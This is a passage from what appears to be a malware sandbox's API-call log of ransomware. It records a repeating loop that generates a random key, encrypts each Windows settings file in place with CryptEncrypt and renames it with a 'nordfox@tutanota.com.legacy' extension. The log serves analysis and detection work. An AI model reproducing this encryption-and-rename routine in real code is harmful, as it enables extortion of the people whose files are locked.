| out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d5, lpOverlapped=0x0) returned 1 [0197.390] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.390] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d5, lpOverlapped=0x0) returned 1 [0197.391] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d5 [0197.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.391] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.391] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.391] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.392] CloseHandle (hObject=0x1c24) returned 1 [0197.392] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Orientation.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_orientation.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Orientation.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_orientation.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.394] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.394] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.394] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Monitors.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.394] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c6, lpOverlapped=0x0) returned 1 [0197.396] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.396] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c6, lpOverlapped=0x0) returned 1 [0197.396] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c6 [0197.396] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.396] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.396] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.397] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.397] CloseHandle (hObject=0x1c24) returned 1 [0197.397] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Monitors.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_monitors.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Monitors.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_monitors.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.399] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_MainMonitor.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.399] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d5, lpOverlapped=0x0) returned 1 [0197.401] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.401] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d5, lpOverlapped=0x0) returned 1 [0197.401] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d5 [0197.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.401] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.401] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.402] CloseHandle (hObject=0x1c24) returned 1 [0197.402] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_MainMonitor.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_mainmonitor.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_MainMonitor.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_mainmonitor.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.404] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsRotationLocked.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.404] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f25f0, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f25f0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.405] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.405] WriteFile (in: hFile=0x1c24, lpBuffer=0x30ef8a8*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef8a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.405] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0197.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.406] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.406] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.406] CloseHandle (hObject=0x1c24) returned 1 [0197.406] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsRotationLocked.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_isrotationlocked.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsRotationLocked.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_isrotationlocked.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsAutoBrightnessEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.409] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x511, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x511, lpOverlapped=0x0) returned 1 [0197.410] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.410] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x511, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x511, lpOverlapped=0x0) returned 1 [0197.410] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x511 [0197.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.410] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.411] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.411] CloseHandle (hObject=0x1c24) returned 1 [0197.411] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsAutoBrightnessEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_isautobrightnessenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IsAutoBrightnessEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_isautobrightnessenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IdentifyDetectWireless.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.415] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50c, lpOverlapped=0x0) returned 1 [0197.421] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1292, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.421] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50c, lpOverlapped=0x0) returned 1 [0197.422] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50c [0197.422] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.422] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.422] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.423] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.423] CloseHandle (hObject=0x1c24) returned 1 [0197.423] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IdentifyDetectWireless.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_identifydetectwireless.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_IdentifyDetectWireless.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_identifydetectwireless.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Duplicate.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.426] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0197.427] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.428] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0197.428] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cb [0197.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.428] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.428] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.429] CloseHandle (hObject=0x1c24) returned 1 [0197.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Duplicate.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_duplicate.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Duplicate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_duplicate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_DPI_Override.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.431] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4da, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4da, lpOverlapped=0x0) returned 1 [0197.436] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1242, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.436] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4da, lpOverlapped=0x0) returned 1 [0197.436] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4da [0197.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.437] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.437] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.437] CloseHandle (hObject=0x1c24) returned 1 [0197.437] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_DPI_Override.settingcontent-ms" (normalized: 